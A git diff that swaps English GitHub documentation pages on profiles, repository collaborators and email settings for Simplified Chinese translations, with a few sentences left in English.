+| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess)                   | 0.6.0     | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0)                                          |
+| [pytest-dev/py](https://github.com/pytest-dev/py)                             | 1.8.0     | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0)                                               |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing)                 | 2.4.5     | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5)                     |
+| [pytest-dev/pytest](https://github.com/pytest-dev/pytest)                     | 5.3.0     | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0)                                           |
+| [stub42/pytz](https://github.com/stub42/pytz)                                 | 2019.3    | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3)                               |
+| [uiri/toml](https://github.com/uiri/toml)                                     | 0.10.0    | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0)                                                 |
+| [pallets/werkzeug](https://github.com/pallets/werkzeug)                       | 0.16.0    | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0)                                          |
+| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable)         | 1.2       | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2)                                       |
+| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic)   | 2.9.1.1   | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1)                    |
+| [nasa/fprime](https://github.com/nasa/fprime)                                 | 1.3       | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3)                                         |
+| [nucleic/cppy](https://github.com/nucleic/cppy)                               | 1.1.0     | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0)                                                |
+| [opencv/opencv](https://github.com/opencv/opencv)                             | 4.5.1     | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1)                                               |
+| [curl/curl](https://github.com/curl/curl)                                     | 7.72.0    | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0)                                     |
+| [madler/zlib](https://github.com/madler/zlib)                                 | 1.2.11    | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11)                                             |
+| [apache/lucene](https://github.com/apache/lucene)                             | 7.7.3     | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
+| [yaml/libyaml](https://github.com/yaml/libyaml)                               | 0.2.5     | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5)                                                |
+| [elastic/elasticsearch](https://github.com/elastic/elasticsearch)             | 6.8.1     | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1)                                     |
+| [twbs/bootstrap](https://github.com/twbs/bootstrap)                           | 4.3.1     | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1)                                            |
+| [vuejs/vue](https://github.com/vuejs/vue)                                     | 2.6.10    | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10)                                               |
+| [carrotsearch/hppc](https://github.com/carrotsearch/hppc)                     | 0.7.1     | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1)                                           |
+| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time)                     | 2.10.1    | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1)                                       |
+| [tdunning/t-digest](https://github.com/tdunning/t-digest)                     | 3.2       | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2)                             |
+| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram)     | 2.1.9     | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9)         |
+| [locationtech/spatial4j](https://github.com/locationtech/spatial4j)           | 0.7       | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7)                      |
+| [locationtech/jts](https://github.com/locationtech/jts)                       | 1.15.0    | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0)                                  |
+| [apache/logging-log4j2](https://github.com/apache/logging-log4j2)             | 2.11      | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0)                         |
 
-## Further reading
+## 延伸阅读
 
-- "[About your profile](/articles/about-your-profile)"
+- "[关于个人资料](/articles/about-your-profile)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
index 236984b315..202ac6c71a 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Pinning items to your profile
-intro: You can pin gists and repositories to your profile so other people can quickly see your best work.
+title: 在个人资料中嵌入项目
+intro: 您可以将 Gist 和仓库置顶在个人资料中，使其他人可以很快看到您的得意之作。
 redirect_from:
   - /articles/pinning-repositories-to-your-profile
   - /articles/pinning-items-to-your-profile
@@ -12,28 +12,24 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Pin items
+shortTitle: 固定项目
 ---
-You can pin a public repository if you own the repository or you've made contributions to the repository. Commits to forks don't count as contributions, so you can't pin a fork that you don't own. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
 
-You can pin any public gist you own.
+您可以嵌入您拥有的或者对其做出了贡献的公共仓库。 对复刻的提交不计为贡献，因此不能嵌入非自己所有的复刻。 更多信息请参阅“[为什么我的贡献没有在我的个人资料中显示？](/articles/why-are-my-contributions-not-showing-up-on-my-profile)”
 
-Pinned items include important information about the item, like the number of stars a repository has received or the first few lines of a gist. Once you pin items to your profile, the "Pinned" section replaces the "Popular repositories" section on your profile.
+您可以置顶自己的任何公开 Gist。
 
-You can reorder the items in the "Pinned" section. In the upper-right corner of a pin, click {% octicon "grabber" aria-label="The grabber symbol" %}  and drag the pin to a new location.
+固定项包括有关项目的重要信息，例如仓库收到的星标数或 Gist 的前几行。 在将项目嵌入到个人资料后，个人资料中的“Pinned（已嵌入）”部分将替换“Popular repositories（常用仓库）”部分。
+
+您可以重新排序“Pinned（已嵌入）”部分的项目。 在嵌入的右上角，单击 {% octicon "grabber" aria-label="The grabber symbol" %}  并将该嵌入拖至新位置。
 
 {% data reusables.profile.access_profile %}
-2. In the "Popular repositories" or "Pinned" section, click **Customize your pins**.
-	![Customize your pins button](/assets/images/help/profile/customize-pinned-repositories.png)
-3. To display a searchable list of items to pin, select "Repositories", "Gists", or both.
-	![Checkboxes to select the types of items to display](/assets/images/help/profile/pinned-repo-picker.png)
-4. Optionally, to make it easier to find a specific item, in the filter field, type the name of a user, organization, repository, or gist.
-	![Filter items](/assets/images/help/profile/pinned-repo-search.png)
-5. Select a combination of up to six repositories and/or gists to display.
-	![Select items](/assets/images/help/profile/select-items-to-pin.png)
-6. Click **Save pins**.
-	![Save pins button](/assets/images/help/profile/save-pinned-repositories.png)
+2. 在“Popular repositories（常用仓库）”或“Pinned（已嵌入）”部分，单击 **Customize your pins（自定义嵌入）**。 ![自定义嵌入按钮](/assets/images/help/profile/customize-pinned-repositories.png)
+3. 要显示要固定项目的可搜索列表，请选择“Repositories（仓库）”、"Gists" 或两者。 ![用于选择显示的项目类型的复选框](/assets/images/help/profile/pinned-repo-picker.png)
+4. （可选）为便于查找特定项目，在过滤器字段中输入用户、组织、仓库或 gist 的名称。 ![过滤项目](/assets/images/help/profile/pinned-repo-search.png)
+5. 选择最多六个仓库和/或 gist 的组合以显示。 ![选择项目](/assets/images/help/profile/select-items-to-pin.png)
+6. 单击 **Save pins（保存嵌入）**。 ![保存嵌入按钮](/assets/images/help/profile/save-pinned-repositories.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About your profile](/articles/about-your-profile)"
+- "[关于个人资料](/articles/about-your-profile)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
index 26c50a8387..c0817d75d6 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your personal repositories
-intro: You can give people collaborator access to repositories owned by your personal account.
+title: 管理对个人仓库的访问
+intro: 您可以向协作者授予对个人帐户拥有的仓库的访问。
 redirect_from:
   - /categories/101/articles
   - /categories/managing-repository-collaborators
@@ -20,6 +20,6 @@ children:
   - /removing-a-collaborator-from-a-personal-repository
   - /removing-yourself-from-a-collaborators-repository
   - /maintaining-ownership-continuity-of-your-user-accounts-repositories
-shortTitle: Access to your repositories
+shortTitle: 访问仓库
 ---
 
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
index caa381f9fe..468ec12bb4 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Inviting collaborators to a personal repository
-intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.'
+title: 邀请协作者参加个人仓库
+intro: '您可以{% ifversion fpt or ghec %}邀请用户成为{% else %}添加用户成为{% endif %}个人仓库的协作者。'
 redirect_from:
   - /articles/how-do-i-add-a-collaborator
   - /articles/adding-collaborators-to-a-personal-repository
@@ -16,9 +16,10 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Invite collaborators
+shortTitle: 邀请协作者
 ---
-Repositories owned by an organization can grant more granular access. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)."
+
+组织拥有的仓库可授予更细致的访问权限。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 上的访问权限](/articles/access-permissions-on-github)”。
 
 {% data reusables.organizations.org-invite-expiration %}
 
@@ -28,39 +29,33 @@ If you're a member of an {% data variables.product.prodname_emu_enterprise %}, y
 
 {% note %}
 
-**Note:** {% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people.
+**注：** {% data variables.product.company_short %} 会限制在 24 小时内可受邀参加仓库的人数。 如果您超过此限制，请等待 24 小时后再邀请，或者创建一个组织以与更多的人协作。
 
 {% endnote %}
 
 {% endif %}
 
-1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %} For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)".{% endif %}
+1. 您邀请成为协作者的人员需提供用户名。{% ifversion fpt or ghec %} 如果他们还没有用户名，他们可以注册 {% data variables.product.prodname_dotcom %} 更多信息请参阅“[注册新 {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account)”。{% endif %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-1. Click **Invite a collaborator**.
-  !["Invite a collaborator" button](/assets/images/help/repository/invite-a-collaborator-button.png)
-2. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field-user.png)
-3. Click **Add NAME to REPOSITORY**.
-    ![Button to add collaborator](/assets/images/help/repository/add-collaborator-user-repo.png)
+1. 单击 **Invite a collaborator（邀请协作者）**。 !["邀请协作者" 按钮](/assets/images/help/repository/invite-a-collaborator-button.png)
+2. 在搜索字段中，开始键入您想邀请的人员的姓名，然后单击匹配列表中的姓名。 ![搜索字段以键入要邀请加入仓库的人员姓名](/assets/images/help/repository/manage-access-invite-search-field-user.png)
+3. 单击 **Add NAME to REPOSITORY（添加姓名到仓库）**。 ![用于添加协作者的按钮](/assets/images/help/repository/add-collaborator-user-repo.png)
 {% else %}
-5. In the left sidebar, click **Collaborators**.
-![Repository settings sidebar with Collaborators highlighted](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
-6. Under "Collaborators", start typing the collaborator's username.
-7. Select the collaborator's username from the drop-down menu.
-   ![Collaborator list drop-down menu](/assets/images/help/repository/repo-settings-collab-autofill.png)
-8. Click **Add collaborator**.
-   !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png)
+5. 在左侧边栏中，单击 **Collaborators（协作者）**。 ![突出显示协作者的仓库设置侧边栏](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
+6. 在 "Collaborators"（协作者）下，开始输入协作者的用户名。
+7. 从下拉菜单中选择协作者的用户名。 ![协作者列表下拉菜单](/assets/images/help/repository/repo-settings-collab-autofill.png)
+8. 单击 **Add collaborator（添加协作者）**。 !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-9. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository.
+9. 用户将会收到一封邀请他们参加仓库的电子邮件。 在接受邀请后，他们便对仓库具有协作者访问权限。
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)"
-- "[Removing a collaborator from a personal repository](/articles/removing-a-collaborator-from-a-personal-repository)"
-- "[Removing yourself from a collaborator's repository](/articles/removing-yourself-from-a-collaborator-s-repository)"
-- "[Organizing members into teams](/organizations/organizing-members-into-teams)"
+- “[用户帐户仓库的权限级别](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)”
+- "[从个人仓库删除协作者](/articles/removing-a-collaborator-from-a-personal-repository)"
+- "[从协作者的仓库删除您自己](/articles/removing-yourself-from-a-collaborator-s-repository)"
+- "[将成员组织成团队](/organizations/organizing-members-into-teams)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
index 627316136c..37fe983ecb 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a collaborator from a personal repository
-intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.'
+title: 从个人仓库中删除协作者
+intro: 当您从项目中删除协作者时，他们将失去对您仓库的读取/写入权限。 如果仓库为私有并且该人员已创建复刻，则该复刻也将删除。
 redirect_from:
   - /articles/how-do-i-remove-a-collaborator
   - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository
@@ -19,28 +19,26 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Remove a collaborator
+shortTitle: 删除协作者
 ---
-## Deleting forks of private repositories
 
-While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository.
+## 删除私有仓库的复刻
 
-## Removing collaborator permissions from a person contributing to a repository
+尽管删除协作者时将删除私有仓库的复刻，但此人员将仍保留您仓库的任何本地克隆。
+
+## 删除为仓库做出贡献的人员的协作者权限
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. To the right of the collaborator you want to remove, click {% octicon "trash" aria-label="The trash icon" %}.
-  ![Button to remove collaborator](/assets/images/help/repository/collaborator-remove.png)
+4. 在要要删除的协作者的右侧，单击 {% octicon "trash" aria-label="The trash icon" %}。 ![用于删除协作者的按钮](/assets/images/help/repository/collaborator-remove.png)
 {% else %}
-3. In the left sidebar, click **Collaborators & teams**.
-  ![Collaborators tab](/assets/images/help/repository/repo-settings-collaborators.png)
-4. Next to the collaborator you want to remove, click the **X** icon.
-  ![Remove link](/assets/images/help/organizations/Collaborator-Remove.png)
+3. 在左侧边栏中，单击 **Collaborators & teams（协作者和团队）**。 ![协作者选项卡](/assets/images/help/repository/repo-settings-collaborators.png)
+4. 在要删除的协作者旁边，单击 **X** 图标。 ![删除链接](/assets/images/help/organizations/Collaborator-Remove.png)
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
-- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
+- “[从团队中删除组织成员](/articles/removing-organization-members-from-a-team)”
+- "[从组织仓库删除外部协作者](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
index 0546453704..df3436b82c 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from a collaborator's repository
-intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.'
+title: 从协作者的仓库中删除您自己
+intro: 如果您不再想要成为其他人仓库中的协作者，您可以删除自己。
 redirect_from:
   - /leave-a-collaborative-repo
   - /leave-a-repo
@@ -18,12 +18,10 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Remove yourself
+shortTitle: 删除自己
 ---
+
 {% data reusables.user_settings.access_settings %}
-2. In the left sidebar, click **Repositories**.
-  ![Repositories tab](/assets/images/help/settings/settings-sidebar-repositories.png)
-3. Next to the repository you want to leave, click **Leave**.
-  ![Leave button](/assets/images/help/repository/repo-leave.png)
-4. Read the warning carefully, then click "I understand, leave this repository."
-  ![Dialog box warning you to leave](/assets/images/help/repository/repo-leave-confirmation.png)
+2. 在左侧边栏中，单击 **Repositories（仓库）**。 ![仓库选项卡](/assets/images/help/settings/settings-sidebar-repositories.png)
+3. 在您要离开的仓库旁边，单击 **Leave（离开）**。 ![离开按钮](/assets/images/help/repository/repo-leave.png)
+4. 仔细阅读警告，然后单击“I understand, leave this repository（我已了解，离开此仓库）”。 ![警告您离开的对话框](/assets/images/help/repository/repo-leave-confirmation.png)
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
index 6f5986b82c..6c95a6c023 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing email preferences
-intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}.'
+title: 管理电子邮件首选项
+intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 您也可以管理从 {% data variables.product.product_name %} 收到的电子邮件。'
 redirect_from:
   - /categories/managing-email-preferences
   - /articles/managing-email-preferences
@@ -22,6 +22,6 @@ children:
   - /remembering-your-github-username-or-email
   - /types-of-emails-github-sends
   - /managing-marketing-emails-from-github
-shortTitle: Manage email preferences
+shortTitle: 管理电子邮件首选项
 ---
 
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
index e3a1cec0b9..9da4474b14 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
@@ -1,6 +1,6 @@
 ---
-title: Remembering your GitHub username or email
-intro: 'Are you signing in to {% data variables.product.product_location %} for the first time in a while? If so, welcome back! If you can''t remember your {% data variables.product.product_name %} user account name, you can try these methods for remembering it.'
+title: 记住您的 GitHub 用户名或电子邮件
+intro: '是否距离您第一次登录 {% data variables.product.product_location %} 已经有一段时间？ 如果是这样，欢迎回来！ 如果无法记住您的 {% data variables.product.product_name %} 用户帐户名，您可以尝试以下方法来记住它。'
 redirect_from:
   - /articles/oh-noes-i-ve-forgotten-my-username-email
   - /articles/oh-noes-i-ve-forgotten-my-username-or-email
@@ -14,62 +14,63 @@ versions:
 topics:
   - Accounts
   - Notifications
-shortTitle: Find your username or email
+shortTitle: 查找您的用户名或电子邮件
 ---
+
 {% mac %}
 
-## {% data variables.product.prodname_desktop %} users
+## {% data variables.product.prodname_desktop %} 用户
 
-1. In the **GitHub Desktop** menu, click **Preferences**.
-2. In the Preferences window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
+1. 在 **GitHub Desktop** 菜单中，单击 **Preferences（首选项）**。
+2. 在 Preferences（首选项）窗口中，验证以下内容：
+    - 要查看 {% data variables.product.product_name %} 用户名，请单击 **Accounts（帐户）**。
+    - 要查看您的 Git 电子邮件，请单击 **Git**。 请注意，此电子邮件不一定是[您的主 {% data variables.product.product_name %} 电子邮件](/articles/changing-your-primary-email-address)。
 
 {% endmac %}
 
 {% windows %}
 
-## {% data variables.product.prodname_desktop %} users
+## {% data variables.product.prodname_desktop %} 用户
+
+1. 在 **File（文件）**菜单中，单击 **Options（选项）**。
+2. 在 Options（选项）窗口中，验证以下内容：
+    - 要查看 {% data variables.product.product_name %} 用户名，请单击 **Accounts（帐户）**。
+    - 要查看您的 Git 电子邮件，请单击 **Git**。 请注意，此电子邮件不一定是[您的主 {% data variables.product.product_name %} 电子邮件](/articles/changing-your-primary-email-address)。
 
-1. In the **File** menu, click **Options**.
-2. In the Options window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
-  
 {% endwindows %}
 
-## Finding your username in your `user.name` configuration
+## 在 `user.name` 配置中查找您的用户名
 
-During set up, you may have [set your username in Git](/github/getting-started-with-github/setting-your-username-in-git). If so, you can review the value of this configuration setting:
+设置期间，您可能已[在 Git 中设置用户名](/github/getting-started-with-github/setting-your-username-in-git)。 如果这样，您可以查看此配置设置的值：
 
 ```shell
 $ git config user.name
-# View the setting
+# 查看设置
 <em>YOUR_USERNAME</em>
 ```
 
-## Finding your username in the URL of remote repositories
+## 在远程仓库的 URL 中查找您的用户名
 
-If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository.
+如果您有已创建或已复刻的个人仓库的任何本地副本，则可以检查远程仓库的 URL。
 
 {% tip %}
 
-**Tip**: This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL.
+**提示**：此方法仅当您拥有原始仓库或其他人存储库中您自己的复刻时才有效。 如果您克隆其他人的仓库，将显示他们的用户名而不是您的用户名。 类似地，组织仓库将显示组织的名称，而不是远程 URL 中的特定用户。
 
 {% endtip %}
 
 ```shell
 $ cd <em>YOUR_REPOSITORY</em>
-# Change directories to the initialized Git repository
+# 将目录更改为初始化的 Git 仓库
 $ git remote -v
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (fetch)
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (push)
+origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (fetch)
+origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (push)
 ```
 
-Your user name is what immediately follows the `https://{% data variables.command_line.backticks %}/`.
+您的用户名是紧跟在 `https://{% data variables.command_line.backticks %}/` 之后的内容。
 
 {% ifversion fpt or ghec %}
-## Further reading
+## 延伸阅读
 
-- "[Verifying your email address](/articles/verifying-your-email-address)"
+- “[验证电子邮件地址](/articles/verifying-your-email-address)”
 {% endif %}
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
index 338493bf2e..55361b997a 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your commit email address
-intro: 'You can set the email address that is used to author commits on {% data variables.product.product_location %} and on your computer.'
+title: 设置提交电子邮件地址
+intro: '您可以设置用于在 {% data variables.product.product_location %} 和计算机上创作提交的电子邮件地址。'
 redirect_from:
   - /articles/keeping-your-email-address-private
   - /articles/setting-your-commit-email-address-on-github
@@ -20,31 +20,32 @@ versions:
 topics:
   - Accounts
   - Notifications
-shortTitle: Set commit email address
+shortTitle: 设置提交电子邮件地址
 ---
-## About commit email addresses
 
-{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make.
+## 关于提交电子邮件地址
 
-For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git.
+{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. 您可以选择要与从命令行以及基于 web 的 Git 操作推送的提交相关联的电子邮件地址。
 
-{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %}
+For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 对于从命令行推送的提交，您可以在 Git 中设置提交电子邮件地址。
+
+{% ifversion fpt or ghec %}在更改提交电子邮件地址之前进行的提交仍与之前的电子邮件地址关联。{% else %}在 {% data variables.product.product_name %} 上更改提交电子邮件地址之后，新电子邮件地址默认在所有未来基于 web 的 Git 操作中可见。 在更改提交电子邮件地址之前进行的任何提交仍与之前的电子邮件地址关联。{% endif %}
 
 {% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note**: {% data reusables.user_settings.no-verification-disposable-emails %}
+**注**：{% data reusables.user_settings.no-verification-disposable-emails %}
 
 {% endnote %}
 
 {% endif %}
 
-{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**.
+{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. 要将 `noreply` 电子邮件地址用于从命令行推送的提交，请在 Git 中设置提交电子邮件地址时使用该电子邮件地址。 要将 `noreply` 地址用于基于 web 的 Git 操作，请在 GitHub 上设置提交电子邮件地址并选择**对我的电子邮件地址保密**。
 
-You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %}
